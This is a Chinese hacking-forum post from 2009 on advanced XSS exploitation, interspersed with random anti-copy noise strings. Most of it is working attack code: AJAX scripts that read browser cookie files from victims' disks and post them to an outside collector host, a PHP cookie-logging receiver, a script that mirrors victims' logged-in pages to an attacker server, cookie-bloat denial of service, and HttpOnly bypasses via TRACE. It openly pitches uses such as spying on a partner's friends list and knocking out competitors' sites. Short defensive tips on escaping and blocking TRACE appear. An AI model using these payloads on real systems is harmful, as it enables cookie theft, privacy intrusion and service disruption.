XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
' ]# J/ z) H1 ?" R1 w. |; kBy racle@tian6.com   
9 ?5 O( \& e; n5 q2 L. {http://bbs.tian6.com/thread-12711-1-1.html
2 g2 ^2 X% h4 L8 i转帖请保留版权
' s( V& V4 R5 W& [
  t% p! a( p7 Q" X7 V
- i7 v8 \: i- |1 W0 J; K! c+ l
5 O, z6 h( b: H: E- d( {2 {  c-------------------------------------------前言---------------------------------------------------------
/ z& v/ p4 i/ `. p

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


5 M# Y. s* H* Y4 q如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
; d. g/ O+ v( T; n; Z; |7 W2 Q! [! h& Phttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
" ~: O" w# P6 T+ Y7 L% D( T- Mhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
$ D, ]* ?2 k/ Z0 ~3 [, t

) b6 ?$ l4 Y# L2 v; ?8 d
7 U2 f% m0 h' w: I+ W6 g% F, ^$ F
/ K8 I* q/ J2 |' L" f" Y: n如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
, g& j9 J% I0 P( y3 k
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
! M$ P9 Z0 H4 O
QQ ZONE,校内网XSS     感染过万QQ ZONE.

( O* B8 {8 G1 p# o9 H  UOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
复制代码------------------------------------------介绍-------------------------------------------------------------
5 u1 q" m: f! J0 @+ G- o- v3 n- u
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

) }4 O: b, y6 x' l
3 l; t3 w3 ]% {& @$ t8 K
( r1 m) ^3 ]' h5 Q. y/ ]. m跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
* J! D* n7 m& [3 D2 y: x


如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
2 P- |: p. L) F: `: \- I8 A* A0 }复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
% h- a$ k. I# u5 ~; G' C
- J) Q2 J2 ~- h2 ]  e3 D1        通过XSS,我们能实现什么?

2 S  B7 _% y/ e* }5 Q4 k- B- j; B2 }2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.


/ u' }4 r3 `+ |$ M
------------------------------------------研究正题----------------------------------------------------------
2 \/ Q( N4 e7 \  s$ c* p
, f* K" M7 f6 T# Q+ A
' C7 [2 Q, ?5 N' |9 D2 a1 H
! @3 ?9 q1 g% \. h0 h8 i) g5 s通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
% ], s7 r  C6 J+ `& @! p5 Z" P复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1 P( B# I0 W. n! V* |+ F1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
" W9 v* y# o7 ]0 L2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
- c1 L  D5 n6 v( Z: `, G- x) Y" A3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
; \7 S$ ^4 `- [7 x8 a
# Z5 J8 J7 E  N& H0 H: n
) q% r1 a" h' I

, [1 a* G, [  Q% t" y$ N2 d4 W
* R3 ^- o6 f* p" d0 b8 _(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

% ^, j1 Y' ]9 p% x0 Z

    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
9 G1 V# z8 T2 H# i1 |2 r


  T( ^2 u- v  n& k: t1 U. x) x    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
1 ~+ U% i) l  j* B* f7 P


    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
9 P) q) R9 X  A$ E复制代码IE6使用ajax读取本地文件    <script>
! W* o; P* H9 x8 U8 F. I
    function $(x){return document.getElementById(x)}



    function ajax_obj(){

$ ^: C3 R& D9 y% L5 U    var request = false;

8 M6 s* q# e* h! G" c    if(window.XMLHttpRequest) {
5 b, M6 Z) D+ U4 G  p2 k. [
    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
+ M! u+ O3 I  x/ k7 Y+ X
) m, `7 P4 @( h    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
6 R. ]# @' C/ E" a2 M# m


    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

, U) _* c/ ^6 j0 \    for(var i=0; i<versions.length; i++) {

+ P8 A$ p9 _, Z; x5 N0 w2 T" {9 W& x    try {
3 R0 d1 l! s2 S+ _: M
    request = new ActiveXObject(versions);

7 L6 g8 s2 U) u" `    } catch(e) {}

  T4 u/ d* s4 D. W6 y  X. a    }
/ P6 P5 I6 m. K9 x" C3 }! D8 A
    }

. C1 @0 Y3 B4 T* e7 z) _    return request;

    }

  E$ i5 @" P6 v    var _x = ajax_obj();

    function _7or3(_m,action,argv){
: q% r6 k; R$ T- a' D4 b$ M* J
    _x.open(_m,action,false);

6 p5 B  i& [6 f7 s5 _, g) V; @    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
7 [2 n  j8 W( j; A  Z' b' }
    return _x.responseText;

, ?# @  \1 B/ a    }


, S6 p  s3 p8 Q6 @
/ S" |0 U3 v* h    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
6 a) X  N; K; f) ]
; b6 c  E! O+ p7 l8 W9 W3 g    alert(txt);
, J9 I9 i! g1 Z0 ]. d
& x) Y. n. r9 m: ^

    </script>
- ^+ V, L3 \. k" o复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
! U7 D8 @  L. c- J8 {
    function $(x){return document.getElementById(x)}



' o- `+ @, ~  [8 r" u- S    function ajax_obj(){

    var request = false;

    if(window.XMLHttpRequest) {

% |( m' x' I- b) n' S4 K4 C    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
0 V2 W9 z  n( T& G
1 ?. J& T8 e8 e8 {    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



  E9 H3 O: S+ z9 F9 M5 i    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {

/ s/ K$ R" |! g; ~- j$ R    try {
. s7 ?8 N& `: Q8 }; P
, }$ x1 B6 G+ |- W4 ^. w- m    request = new ActiveXObject(versions);

    } catch(e) {}
& Q$ [- k! T- N; R& V  T
    }

2 N$ c1 c8 R/ n  G$ t* M9 k    }

9 H$ ^! L+ B, r' ]& M0 r    return request;

    }
$ o0 v  o5 Y% o5 G" A6 Z
% s4 h6 u1 C' J- X; z( g: \& n3 E    var _x = ajax_obj();

8 L8 P' q! `5 \+ {    function _7or3(_m,action,argv){
9 h0 ?' ^7 S' B
) [9 O2 D$ N0 R; B3 z: D    _x.open(_m,action,false);
% i0 {  |! y  {
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

6 L1 E+ k9 b+ u. Y( p4 Y    _x.send(argv);

8 O4 X4 w, W# A    return _x.responseText;
7 N2 S: k( G1 n# A/ ?% y
# q2 @9 [- ^4 [% X* j    }

+ ]7 `' \  o7 e& a

    var txt=_7or3("GET","1/11.txt",null);

! Q* t1 m! a* ?# j7 J    alert(txt);
4 g$ r6 L0 H$ M# v


    </script>
# [2 }! R# N( w) f2 p复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
+ w+ B! X8 m) V" q6 r! `) Z# a

- Q# L( H6 p3 J# f: w# H7 B
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"



9 G* K4 Q) J3 H+ H9 F<?   
$ t1 T. e: l  ?1 E" B! F/ r
1 |$ i9 R% r1 j/*  
- \, ^) M% J0 y' N
  u7 d+ c- k/ l" q) o- y1 {     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
+ L  j' x% T+ v+ {5 x: O8 m
     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   
+ [4 W5 S9 `  K' e0 d/ c
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
3 m9 f7 b: l. t" Y* @4 a
*/  
& w# A9 g0 ?8 N: K( m
: y& e" b! V# t5 S/ Aheader("Content-Disposition: attachment;filename=kxlzx.htm");   

' ?6 Z9 m- @9 |5 X/ Q: h! _header("Content-type: application/kxlzx");   
; V1 ~1 O8 A6 c
0 s6 u5 d+ c$ |& u/*  

     set header, so just download html file,and open it at local.  

7 A! u' t  L+ w- r*/  

?>   
1 a3 Z% B- n* ]
7 I" b( M2 ^: F  I' E7 }5 N& h2 N  s  p<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
- t8 y; J- e' f) ?; ?
$ l8 K4 A0 `; e  d     <input id="input" name="cookie" value="" type="hidden">   
* S; C" r  W& ^: Q
$ p8 Z6 e0 N+ C* `5 m</form>   
0 T, F4 [1 G1 |3 |3 \* p
8 X6 y9 _* J4 g<script>   
' q& b, A" s2 m$ h* T* v
function doMyAjax(user)   
2 c' F6 ]' z% e3 M- h, H
{   

1 A  {7 t0 k. I4 ~) ovar time = Math.random();   
; u& X6 V6 I# l2 u: J/ n; S
/*  

& @. _) s6 N4 M( B; }the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
7 z- I, o/ m( d! J
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
: W+ o1 n2 S6 B; \7 K# ]0 Z+ T: i7 ^% c
and so on...  
4 k4 O+ \/ D- u% y& Q6 F
" h& @: ^/ ~9 d! N  s5 v' x*/  

  ^" j( g3 R2 ?' P. ~var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

startRequest(strPer);   
& T5 g4 `: y( i  B! [* L9 v: k& `
1 w5 n. ?7 X& m0 _8 M

% R5 h/ [8 {3 X# @% ?/ s, B! x}   
5 q+ N* Q: w6 U* T+ r1 ~
, A6 U1 O5 S6 u   

function Enshellcode(txt)   
; K, y; _  {- U2 |+ {
{   

var url=new String(txt);   
$ r$ p. z; ?3 d+ R
9 s1 X" C6 _5 X2 R% e0 wvar i=0,l=0,k=0,curl="";   
( T8 u- d8 b* Z
% ?# _/ w3 P9 T+ al= url.length;   
. B$ v* i) Q- V$ c: ~- b5 @& @
' a' U! Q( E6 O1 Y. u) ufor(;i<l;i++){   

k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   
! r6 x( W2 K1 a' v
0 J3 S0 q3 U  L  r. hcurl=curl.replace(/(..)(..)/g,"%u$2$1");   
2 G) F! s( \* a1 M
return curl;   

}   
, \. Z* p. s) g0 h& F- M
   
. h% a: P& j. U1 ~- ^* Q. P
0 u! w8 t6 Z8 l% K6 n# L( l; ]) f   
9 X) B2 l, W" R* ]
6 T2 j* ?$ r9 X4 m1 X1 dvar xmlHttp;   
. O, b* y  \1 o' M, J6 H
function createXMLHttp(){   
+ g: X0 O( a& z
     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           

; y) c% H4 _! T2 z8 a. `$ S1 K     }   
* S( z7 G: b2 Y! H' W9 T# b
     else if(window.ActiveXObject){   
( ^+ r( [* C* g9 Q8 q
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   
% Z1 A/ d7 ?5 X" K7 B. }' \
}   
4 R! v0 U" f* ?& N+ q3 @
- k" @6 I: e5 t/ T   
$ z6 S3 B8 ~8 P% w- B9 ?4 U9 J! C
function startRequest(doUrl){   

- U# ~+ e% Z. u* A   
2 s) }7 N4 x* w9 f
; t) ~& X+ b# t/ j8 ~" z     createXMLHttp();   

# k4 n: l0 c3 [4 J! P+ Y, F

0 r5 a3 T' @0 u) g, L$ E$ t  x2 u     xmlHttp.onreadystatechange = handleStateChange;   


- O0 ~0 p' z& D4 G$ ^2 ?
     xmlHttp.open("GET", doUrl, true);   
9 U  E9 u0 D; i/ o% X% M
4 a0 d7 B- p, D- v; N+ V5 C/ G
" u% e0 t! [( G, }2 o; w* E
* U1 U# a! h: H9 F6 _" S0 s     xmlHttp.send(null);   


- j6 I9 i9 N. _  m+ O
$ \9 h5 O  @1 |. r) _. N

}   

   

function handleStateChange(){   

: T  Z( j+ V0 a) T/ H5 c& x" d     if (xmlHttp.readyState == 4 ){   
. C5 \0 l4 N7 p6 F; Z0 F: Y
6 [, M8 ]- D1 S* D; E- O     var strResponse = "";   

3 Z0 t# t  k4 w. g. `6 D, A( E     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
3 K+ e2 ~3 j& B% u1 C
! l* c: M9 Z4 Q+ l        
2 ^  G. A* k2 a6 v, M
, h0 \, w! ~3 N' @     }   

}   
1 P9 Z2 z3 H. Y+ v4 ?5 V
' ~- |3 _0 {5 \# a+ J! L1 v   
+ r9 s. S  m: G! _0 j/ ?1 @
   

- |$ o! M% e1 j& ?: }function framekxlzxPost(text)   
' R: v# g1 Q2 ~5 F
3 {0 p8 i- [9 Q% Y  K, e7 N{   

2 i5 m; b) v  D0 E     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   
4 m/ u$ b* F2 P1 Y. u9 q) m9 o
}   

5 K5 z! A8 |1 A   

3 |4 }) m& x( v2 |( [+ e: fdoMyAjax("administrator");   
# C. ]6 W0 C, D! S3 B+ N  `
   

3 E) {9 G8 q" e( p4 w+ t  a: |7 L</script>
# x, c/ w2 k  m% `- ]7 w" b复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
9 Y* K' y$ S7 _* L6 Q4 F
$ H9 y0 [  Y6 f' Pvar xmlHttp;  

$ A3 b0 f! \+ h% [function createXMLHttp(){  

     if(window.XMLHttpRequest){  
- |# D$ B, T8 Z* c* _* k
         xmlHttp = new XMLHttpRequest();         
+ b( N& Q+ p& `
. v3 r! Y: w1 p: a     }  

     else if(window.ActiveXObject){  
" p6 D1 [  F) a$ y: p, ~  N0 ?
5 S5 _) j. r+ o% x5 Y: m# r         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  

2 b. s+ O# B! N, T}  

+ p. t: a* d' h: |5 x; \9 w   
3 Q7 r+ O  N, c8 s8 V4 \6 c
& _- s, F1 _9 \( ?/ L0 }% afunction startRequest(doUrl){  

           
+ J  b  T' H. k: T# [$ w
     createXMLHttp();  
, R7 d! p$ _7 H4 C3 S
      
7 M; z% W! J8 p% b
     xmlHttp.onreadystatechange = handleStateChange;  

      
! s0 r( {& H8 i; p- {- H( U: m
     xmlHttp.open("GET", doUrl, true);  
: v. I9 [5 y/ |1 K4 K2 U+ @3 g" x
( y# Z* G5 u! g4 ]* p8 s      
3 t3 h; d; K' U  u6 e$ Q
7 I  b% P7 `6 {5 B2 Y1 ]( g' k) M( X     xmlHttp.send(null);  

      

; I; q) _  H8 w" ^4 L7 c      
' o6 r; A0 q' Q- |
}   

   

function handleStateChange(){  
5 {$ a0 ]' T. d# `0 T4 [; k
7 A* n4 {0 |0 c) n! P) q     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
' {: ^7 O) K. Z( s* h  O6 Y4 q
               
# M$ X/ M3 e% M9 k, ]- T
     }  
' q* R, B- K8 I- c$ l
% ?/ G1 ^5 W- D- J: |2 t' _! L* y}  

   

. R8 d" e7 z3 n$ Z  s% t; J: Q/ Ifunction doMyAjax(user,file)  

3 G. @% X" n; i: T  C' d{  

         var time = Math.random();  
! I/ r" F$ B) u* k; @
: B2 F  C3 j$ X4 u" {2 V           
- a3 p! J; ~' i, ~* G8 p$ b
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

8 M( j; L2 `9 c% h           
9 z8 ^6 z1 `$ b5 @3 I% o7 ]
         startRequest(strPer);  

! A3 V! E. X6 q# k' G- d      
  H3 p8 Y  l' W  `4 ?5 Q: V1 u
}  

: q2 w$ }; O: c' E( e   
2 c" }9 V; }3 y, V! O. t* K8 Z
* ~4 X/ T' G/ W6 O! `) ^function framekxlzxPost(text)  

{  

/ ]4 j( f. m1 g3 c1 @% p4 R% b     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
% [: @6 X- P. t% `5 H; e3 A
     alert(/ok/);  
6 X1 ?& m& ]1 ]/ _% n
}  
* G+ H( Q2 m8 \9 {$ c7 a) L4 z
% n. j7 y, F: t8 X/ U' y& m: L+ ?   
/ Z" E2 z# x& Y( x
- r2 k) H1 S3 @) U$ V# n, t5 a& XdoMyAjax('administrator','administrator@alibaba[1].txt');  
! L& F# w2 ?! }& B4 c7 X
$ l7 O+ h9 Z: g: d$ |7 [) i   

& s/ j( U! v" A$ Z# Z</script>
1 ^! f- A' f" h. L' M3 `9 T

: m) o5 S7 ^4 W% B
* N1 T% d5 \8 m7 Z' E
+ o) ?8 g6 t( C8 T# z: x
a.php

! Z' n& \" [# p) f" F, M. w" |

<?php      

/ k3 P+ `: d2 m4 B: C4 l   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  

4 C' z$ `  l0 G$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      
6 I2 p$ s/ k/ W# g0 o- i7 p0 b0 x; d
fclose($fp);   
" O+ i) {; b( M
0 K& k9 w$ ?' W5 a3 V9 {$ ]( G?>
+ `* N  ^0 b( j; U" S/ @复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
; o% }5 `! T1 T9 E
6 v" q" _! i4 j5 X- Z6 @9 g& Z7 o或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

" N$ h2 O0 H( \+ I% }7 \//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

8 n$ O, w' N/ N. _# ^9 E//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {

: P/ u( z. H7 Y8 T  J! yvar image = new Image();
' f. l. N; b2 t" A  v
2 E% {& y2 _7 ^# F: jimage.style.width = 0;
8 u% e2 T( X$ T8 A$ ^% u7 H
image.style.height = 0;
* B4 y: K+ l9 |9 B- S9 e1 B/ I' a
image.src = s;
: P" k2 L+ v( K4 z" u
}
% w2 R7 b* r7 _0 G; M) I
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
: t9 I8 F4 ]$ h) O这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A
' f/ N$ \1 |8 x5 F1 ?0 P
var str = "";
) G' \3 H. y: N
while (str.length < 4000){
7 l2 ]/ n* J; \* ?+ L. }4 p+ k# ^4 U
4 b3 V) w9 m) \0 d, c4 U. F    str += metastr;
$ L- p+ i( m0 k' c& B/ y3 f+ B
}
$ q5 r/ @. c: z- e


document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
  G( i$ ], a3 s* d3 d
) i( F# D8 |$ [, G/ p</script>

3 D' c/ ?' {+ ^5 M9 B- y4 Z6 A详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
5 p5 _& s: V# _5 D/ J
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
7 R+ f0 a6 j+ g  \* {0 n4 [攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
  o8 x6 Y0 j8 @  o4 n6 L" g5 o4 [





(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--
3 I4 r% k$ g" ^1 H$ k; `5 q
0 B( X3 O" r* F' [function normalCookie() {
* {& l9 y& u" W
) }& Q: y) u+ w8 z; fdocument.cookie = "TheCookieName=CookieValue_httpOnly";
0 w9 s  A" k; Y8 M- Q- {- J5 U
# r3 ^" t; E, @& k; r0 n. ?alert(document.cookie);

3 p! B8 |5 _9 l4 a' H1 m9 s5 W+ W}
% b# i/ z$ J) w+ a& B- l, ?, K6 |
: Q, B$ p9 L) S; U6 O
4 b/ q' K6 B; w' o1 b
( O7 H- x( f3 S; w

  }2 D7 H7 q& H1 G5 f  _function httpOnlyCookie() {
1 ^/ x* @% E6 H  z
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
% E9 j% b. _3 J; B. S
$ m; x- k5 O7 H% O/ Palert(document.cookie);}

* }. H: b/ e/ q! V# m

" b' \  D# j/ U2 y. t//-->
! ^4 l9 w# u* M: V' K! m) s
- X# H8 X. [; f# G</script>
% j; ]9 |/ V) J% }! s


" X+ {5 \$ B3 M$ p! q<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

; M/ @2 @2 r) E! b  ?2 z<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

% o/ f& M. y( t

! O. l' d  F& d3 q; @! v: w8 Nvar request = false;

        if(window.XMLHttpRequest) {
; n( ]/ b) V% r9 `
            request = new XMLHttpRequest();
! ~8 L, ]% |, k# u6 n" N. B$ H
            if(request.overrideMimeType) {
) g' F( U1 ]7 a: }
  w, n- U8 u# g# ~" c                request.overrideMimeType('text/xml');
6 x& j# G  G1 d' `  u7 y
) g, L' d0 ^" a6 d; e            }

  R( B) ]- a+ [7 W) x        } else if(window.ActiveXObject) {

+ M% B( c. C1 U- S            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
  [$ k6 ~) l. G3 P$ S- ~
" D" ~1 [% f% T4 d2 D+ u            for(var i=0; i<versions.length; i++) {
6 k% U. ?, m! @9 A# J
                try {

$ ]/ D8 _! ^( Z0 h                    request = new ActiveXObject(versions);
! P+ p5 T( c5 g1 [1 I
                } catch(e) {}
0 s' ^  m3 k% ?/ B  Q
& T2 o+ |- Q; a$ h5 `7 v) M( _            }
7 E8 ]1 P4 H9 w  e
        }

7 d* L2 I  _4 P) ^! yxmlHttp=request;
  g2 A' m# B" H
xmlHttp.open("TRACE","http://www.vul.com",false);

$ C6 f% o( H; r' @1 wxmlHttp.send(null);

xmlDoc=xmlHttp.responseText;

alert(xmlDoc);

</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
* O, ^* ^: b. R! ~% _0 D% D# Q
( ?8 @- N) v, \+ z1 gvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

8 o7 b8 m6 M% `/ F- g7 DXmlHttp.open("GET","http://www.google.com",false);
+ I3 p9 c4 I; Q4 X' d1 h
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
: B6 W8 x% x: |
9 _: K& N. f7 ]XmlHttp.send(null);
2 ~( M* X5 S; U1 |. Z7 q
4 e( K: ^" E* a2 {" Jvar resource=xmlHttp.responseText
( b# |% R1 @% y0 C: d. N0 D  E4 Z
resource.search(/cookies/);
( P( W/ d$ Y/ A3 J
......................
9 n! F2 A( ^4 X1 |/ M
</script>


, `- @! e  q2 A% m

' s0 z$ ]5 b; O  W+ H" C: M  x
+ @9 i1 J6 l7 [+ L6 O) E如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
( Z0 s3 @6 d, H) }+ k
[code]
0 I' ]9 v" b' a' t& ^& V
: ]2 ]6 j+ p& [$ Y4 qRewriteEngine On

7 z8 E* S' a; q; b+ y1 `5 j( ZRewriteCond %{REQUEST_METHOD} ^TRACE

6 o) D8 c* g- U' ]$ IRewriteRule .* - [F]


5 b* b8 l) J9 Z9 @
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
" p! d" o! E/ ~5 V: i
acl TRACE method TRACE
0 B  ^# _7 S$ {% r$ @
...
' n( q+ x8 \- k/ x% n5 {
3 C* c1 \$ n: Qhttp_access deny TRACE
2 m' o4 x) z' y* v1 u  g% V0 i复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
: h$ \# \9 y, X1 Z- }8 i  \7 [
  _9 _! w9 Y: X0 e0 `var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

9 v% g8 q; Z' t! E4 c2 VXmlHttp.open("GET","http://www.google.com",false);

